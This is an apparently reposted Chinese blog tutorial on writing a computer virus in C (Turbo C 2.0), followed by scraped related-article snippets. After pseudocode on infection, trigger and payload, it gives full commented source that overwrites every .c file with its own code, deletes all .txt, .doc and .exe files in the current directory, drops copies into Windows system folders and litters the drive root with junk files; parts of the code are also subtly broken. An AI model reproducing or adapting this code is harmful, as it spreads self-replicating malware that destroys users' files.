怎样用C语言编写病毒
在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什么是病毒
恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.
我们要对付病毒,就要了解病毒.
写一些病毒是一个很好的办法.
如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“⋯⋯一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“

其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}

二、 编制病毒的语言
最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
  2).32位汇编,以指令用法为主。386汇编就比较够用了。
  3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
  4).调试技术。VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.

三 用C编制病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件

C语言开发病毒程序实例
C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。
C语言编写的病毒程序源代码 - 给C语言初学者:
复制内容到剪贴板
代码:
C语言开发病毒程序
//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
{
FILE *in,*out; //定义文件指针
in = fopen(infile,"r"); //打开文件
out = fopen(outfile,"w"); //建立文件
while (!feof(in)) //判断文件是否已结束
{
fputc (fgetc(in),out); //从in读一字符到out
}
fclose (in); //关闭in文件
fclose (out);//关闭out文件
return 0; //返回
}
int MakeRubbish (void)
{
int i; //声明整形变量i
FILE *fp; //文件指针fp
char *path; //路径指针
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
char *addtion = ":\\";
for (i = 0; i<5; i++) //循环4次
{
char tempname[] = "XXXXXX" ; //随机名字
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //创建文本文件
fclose (fp); //关闭fp文件流
}
path = strcat(disk[getdisk()],addtion); //得到根编号
chdir(path); //改变工作目录
for (i = 0; i<5; i++) //循环次数
{
char tempname[] = "XXXXXX"; //串赋入数组
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //创建新文件
fclose (fp); //关闭文件
}
return 0; //返回
}
int CreatEXE (void)
{
int i; //整形变量
char *path; //字符指针
char *s[2] = { //重要目录
"C:\\WINDOWS\\system32\\loveworm.exe",
"C:\\WINDOWS\\virusssss.com"
};
for ( i = 0; i < 2; i++) //循环控制次数
{
open(s, 0x0100,0x0080); //打开文件写入数据
copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据
}
return 0;
}
int Remove (void) //去处
{
int done; //定义整形变量
int i;
struct ffblk ffblk; //声明结构体变量ffblk
char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组
for (i = 0; i < 3; i++)//控制循环次数
{
done = findfirst(documenttype,&ffblk,2);//搜索目录
while (!done) //查找成功返回0
{
remove (ffblk.ff_name); //删除一个文件
done = findnext(&ffblk);
}
}
return 0;//返回
}
int Breed (void) //养殖模块
{
int done;//整形变量
struct ffblk ffblk; //声名结构变量
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
return 0;
}
int main (void) //程序入口地址
{
printf ("液虫病毒,by:仙剑逍遥.\n");
Breed (); //养殖病毒
Remove (); //去处
CreatEXE ();
printf ("您能告诉我您的名字?\n");
printf ("现在麻烦您输入您的名字!\n");
MakeRubbish (); //调用子函数
getchar ();
clrscr (); //清除屏幕
system ("cmd");
getch ();
return 0;
}

转载于:https://www.cnblogs.com/wukezhen/p/6001558.html

如何用C语言编写病毒‘相关推荐

  1. 如何让c语言编的游戏运行,如何用C语言编写游戏一.doc

    如何用C语言编写游戏 网络游戏是常谈的话题,是交互式娱乐的主力军,是一种 高层次的综合艺术,更是一个民族的文化,世界观的全新传播方式 作为游戏玩家的我们,是不是想设计一个属于自己的游戏呢? 爱玩是人的 ...

  2. 怎样用C语言编写病毒

    http://blog.sina.com.cn/s/blog_6808495c0100want.html 怎样用C语言编写病毒 一.什么是病毒 恶意软件可能是第一个对我们产生影响的计算机安全问题.所以 ...

  3. 如何用Python语言编写源程序,读取Excel中数据,并画出柱状图?

    现在,随着计算机的普及,以及数据量的增多,对大型数据的分析已经是我们手算不能解决的了,必须借助计算机:那么,学习计算机其实也和我们学习中文.英文一样,要学习他们的写作规则,掌握其中原理.所以,我们首先 ...

  4. 如何下载c语言游戏,如何用C语言编写游戏.doc

    <如何用C语言编写游戏.doc>由会员分享,可在线阅读,更多相关<如何用C语言编写游戏.doc(71页珍藏版)>请在皮匠网上搜索. 1.如何用C语言编写游戏网络游戏是常谈的话题 ...

  5. 如何用c语言编写军旗游戏

    今天教大家如何用C语言编写军旗游戏 ~ 1.效果图: 2.主要代码: #include <graphics.h> #include <time.h>#define CHESIZ ...

  6. c语言字符的计数器,如何用C语言编写计数器.docx

    如何用C语言编写计数器 难怪很多前辈说调试是一个程序员最基本的技能,其重要性甚至超过学习一门语言.不会调试的程序员就意味着他即使会一门语言,却不能编制出任何好的软件.?我以前接触的程序大多是有比较成形 ...

  7. 如何用C语言编写PHP扩展的详解

    来源:http://www.jb51.net/article/38381.htm 本篇文章是对用C语言编写PHP扩展进行了详细的分析介绍,需要的朋友参考下 1:预定义 在home目录,也可以其他任意目 ...

  8. 如何用c语言编写炫酷烟花程序,C语言实现放烟花的程序

    这是一个利用C语言编写放烟花的程序(同时也可以播放音乐),供大家参考,具体内容如下 代码如下 #pragma once #include #include //图形界面库头文件 #include // ...

  9. c语言动态烟花小程序代码,如何用c语言编写动态烟花

    用c语言编写动态烟花的方法:首先绘制菜单界面显示文字:然后设置烟花有上升阶段和爆炸阶段,定义烟花和烟花弹结构体:最后初始化数据,加载资源贴图,随机发射数目随机. 用c语言编写动态烟花的方法: 效果展示 ...

最新文章

  1. 【ubuntu】vim中鼠标选中时变成 可视模式,不能复制的解决方法
  2. Linux下使用命令生成二维码
  3. 我的世界java多大内存_我的世界电脑版内存多大
  4. TimesIsMoney
  5. django 1.8 官方文档翻译: 3-1-1 URL调度器
  6. 在保护继承中基类的共有成员_C++学习刷题13--继承的实现、继承的方式
  7. qt高亮快捷键_Qt高级——QtCreator常用快捷键
  8. [转载] Python全栈(1)—— Python如何快速下载库与jupyter notebook 的基本使用
  9. android aysncTask面试解析
  10. pringboot+校园健身互助平台 毕业设计-附源码221540S
  11. 数据结构c语言课程设计报告,数据结构c语言课程设计报告.doc
  12. 苹果一体机电脑计算机图标找不到,mac电脑airplay图标不见了怎么办
  13. 使用opencv进行车牌提取及识别
  14. 计算机考研复试题(近十万字)
  15. SN号获取及显示不全的问题
  16. 致远oa系统报价_致远oa价格(致远oa系统登录)
  17. python中transform_Python rendering.Transform方法代码示例
  18. html在线编辑器源代码,最完整的html在线编辑器 - WEB源码|其它源码|源代码 - 源码中国...
  19. java web实现拨打电话_Android实现打电话功能
  20. matlab 函数 矩阵,MATLAB常用矩阵函数

热门文章

  1. 飞腾CPU体系结构(十一)
  2. TD-SCDMA业务发展的思考
  3. Linux利用源码包升级Nginx到1.23.1用以解决nginx安全漏洞问题
  4. el-checkbox中的checked勾选状态问题 2021-08-02
  5. 在一个Activity里销毁另外一个Activity
  6. 利用itext操作pdf从数据库导出大量数据--添加水印(四)
  7. TypeScript Essential Notes 5 - Classes
  8. 面试题 03.06. 动物收容所(简单)
  9. jquery 获取当天日期和七天前的日期
  10. 定点运算——位移运算